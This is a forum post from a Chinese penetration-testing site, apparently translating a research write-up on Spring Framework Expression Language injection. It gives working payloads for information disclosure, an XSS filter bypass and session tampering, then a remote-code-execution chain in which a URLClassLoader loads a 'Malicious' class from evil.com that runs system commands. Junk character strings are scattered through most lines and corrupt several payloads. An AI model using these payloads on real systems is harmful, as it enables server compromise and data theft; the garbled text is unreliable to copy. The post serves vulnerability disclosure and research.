中国网络渗透测试联盟

标题: spring-远程代码注入 [打印本页]

作者: admin    时间: 2013-2-16 21:47
标题: spring-远程代码注入
Remote Code with# u" m$ r/ a: b- F
Expression Language Injection
: Z+ q9 q. n+ r( JSpring Framework脆弱性—DanAmodio/ K4 n1 c* d/ f4 W2 K; Q* |5 F
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
0 n/ H) |6 v7 S7 ?可能会存在风险。! j$ W8 t" w" z' w; m
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
0 {& S( @+ j1 ^2 ?( g7 ZArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可) Y. J( N4 r7 w  \
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,' B3 E1 L6 _4 v7 p+ p5 N# M
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
1 }5 W4 a5 w# M! z1 I9 O$ D, T. P7 N版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
' b+ ^; n: @  w- @8 P9 K由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
/ v3 J' c! C" c- k我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
0 B" s- h( B) X本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。7 l3 w. R8 n% H* U3 K' U. e4 n  m
这些版本不支持禁用double EL resolution.( V! ~# F- S% G* N, \
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
: ?& I1 ^% l8 ZEL2.2容器上可能进行远程代码执行。
" s6 ^4 N8 W3 O这是一个原始信息泄露的攻击例子:
! \% V3 Y- k' g3 x% ]& K; P请求:
% P4 a/ t! H8 {+ Mttp://vulnerable.com/foo?message=${applicationScope}
' ~! x  W- Z: M# e0 v到达以下内容页面:
5 @" d1 T' ^. X; O  Y结果将输出一些包含内部服务器信息calsspath 和本地工作目录
5 A% n% b2 n, G/ t你也可以做一些其他事情,如这样:
. E$ u& D& o' i& {$ r' b1 S1 S3 {${9999+1}
2 H; N# U2 [6 x) r2 ^还可以访问session 对象和beans
: ?" L8 v, [2 F7 \${employee.lastName}
8 F# S# n( X, ~# T/ b0 J在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
4 l" Z  ~% C7 b: R& VEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东# v- A; q0 \  r
西,比如XSS.( q8 Y5 S, F# m7 F
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签7 C% |4 A  Q% S0 [2 b# w
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤$ U3 F  @2 X6 Q1 T2 m, ?  `, A
呢?”* N( \& a/ K: n8 C1 s6 [
因此,我尝试巳缦拢�
$ J+ l# E  Y4 F. Q) t0 _; c, _2 fhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
' f- U4 w: Z( V9 pP
# a* c! h2 w" d' m4 T4 L. \我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
' j5 i) ]( R. [回的文本被插入进了spring:message 标签。
$ g# y( q/ Y! g! f& F+ F* {这里是一个最终绕过过滤的实例:
: n! ]  x$ b7 {) v9 Ghttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
9 g; B3 k9 B- h9 ^8 E# ^它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为" Z" }3 G- K6 }% f$ Y6 n
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?1 C$ E+ b. T( H1 g( S$ }4 l
经过一番研究,我学习到EL2.2 增加了方法调用。+ j* o# |0 _9 G1 S
我写了一个快速测试应用程序代码并且检测一些功能& M: e+ h4 G  v: Q0 g
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
- ]& l' l, Q( v${pageContext.request.getSession().setAttribute(“admin”,true)}
' p* S) D! T: t, m/ }, o0 q4 Y好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
0 {- p+ H7 Q# V7 A: {: k, ?: M指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
, W- {9 J+ ~( R" e! P  i${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
2 @- i8 H! p, w  F- u2 s4 p“, 1234)}; i% v) p5 k0 U0 j/ e  V* J
${“”.getClass().forName(“java.lang.Runtime”)}
' P: w' W& _0 J% b/ g哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不; F/ P$ A0 }" C0 I
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
2 h) q; H, H/ r8 u: A0 d数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有$ W: m; w- x2 o& J- |
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于" U. \: N  `9 L) F. f) n% ~
方法签名invoke(Object obj, Object„ args)  f. H; Y+ r. k4 G
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
) B" a9 l0 {& r9 @题,以让它可以工作起来。1 H' R( ~7 E# P. ~( }4 h1 [
漏洞利用:& }9 q* u" W3 S! m3 M, j& ^- ]
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
* }6 O) N4 k, B$ v* V) z希望你们中的一些JAVA奇才告诉我我是如此的可笑。
* }! x4 _" n& S+ u- X7 h* b9 M这里有一些我试过的失败的用例,为了试图让它工作的用例:
1 z9 @$ k8 U. o 写文件到文件系统
% d" |" T6 G/ u) i" h 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
4 Q2 D5 X. ^) i' Y我认为这些可以很好的工作,但是我不能找到合适的类来载入。
1 A& J7 K; X9 f4 ^9 q5 \" k${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}, p* T1 c3 q; Q1 p+ P, R4 H
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
& q6 {; i1 I: e% O0 G) {& qorg.springframework.expression.spel.standard.SpelExpressionParser not found
! j. @8 @3 ]' ]* f2 i0 dby
7 c. M3 |4 o, w( j2 A2 Horg.glassfish.web.javax.servlet.jsp [194].$ `1 x1 P0 ]+ T# D/ m: X  n6 N- O. N) O
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
) P4 n: g: u# M; H$ y8 f 利用反射来创建一个新的Runtime(and watch the world burn)
  G8 c& L( K6 X${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
% j  S8 `7 H- y2 z+ m(“java.lang.Runtime”)).getDeclaredConstructors()[0])}- e  Y; s/ O7 R- m; ^0 `
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
9 _& g( m! E0 Y5 D 使用java.lang.ProcessBuilder
! k0 z3 I- }2 x; z) r/ n 用表达式语言来评估表达式语言
+ C$ l6 g0 `$ p5 b* E! CExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
+ `% ^3 G# i) J$ k/ v6 e${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
( |0 j% \% R( l( t# q“,”".getClass(),null)}
# M1 F& s! ~5 [- a- y 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)- l2 f$ A6 ?1 N8 L0 L/ a. f' \
我在使用一个空数组通过Method.invoke()时失败了很多次
1 d7 V/ s4 Q% X; t2 }4 @“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
2 [1 f, E: B( a) V! f7 N7 F.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A4 l* a$ [* ]/ ^" G
rrayList”).newInstance().toArray())
# x4 c# G$ y& G+ ijava.lang.IllegalArgumentException: wrong number of arguments
* Q$ X9 C/ Y% _最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
3 x: q6 {/ a4 L以创建一个恶意class文件并且指向类装载器.2 U) K& N& g. a6 X- k$ ?
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
' @0 O! W9 i& ~, E/ c) Ppublic class Malicious {; G4 p. V9 K$ z
public Malicious() {
/ g3 {% {" K7 |8 l3 A* Vtry {
4 \0 S. g( D. w+ l) vjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
' |% K8 H, a6 L! B# L7 @$ `3 Fjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win$ u* Q, f' o+ b
} catch (Exception e) {' [# P- |! q- L9 h" H. x. f2 `
}
. [8 \0 K' E! z}# m: W& O% i6 p% a  s. ^
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
& [& D1 a" p% W+ C- H8 w' G话中,因此它可以被使用.5 v3 E. x3 Z4 S) Y- I
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
/ c* Y; z6 z: t1 d(“java.util.ArrayList”).newInstance())}
4 J5 Z. h  @- v; P$ VURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
1 h" G3 f, X. H3 A- U! c4 x4 P一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和: b, l: _$ y; D4 V: a  ^- P
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
7 `) O+ D) l1 {+ |5 v7 j) i! s我们可以调用的create(string)方法,然后转换对一个URL对象。
) B4 }$ \9 ]* \2 p# J8 K${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
; r( h* _2 l5 N7 e% K8 ^2 iere/malicious/classfile/is/located/”).toURL())}3 z5 r! j. Y' U  w' p
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,/ u* J5 N' j! V! i- a
恶意类文件被装载并创建,触发远程代码.
* j5 Q. ?  b& @2 G${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
$ E; R$ k3 ]: c" j0 w/ t1 Lxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().4 m6 a6 I& s+ K7 B2 H- D8 o0 S8 S7 G
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
0 ]$ F) ^+ g( d& ]2 Q()}




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2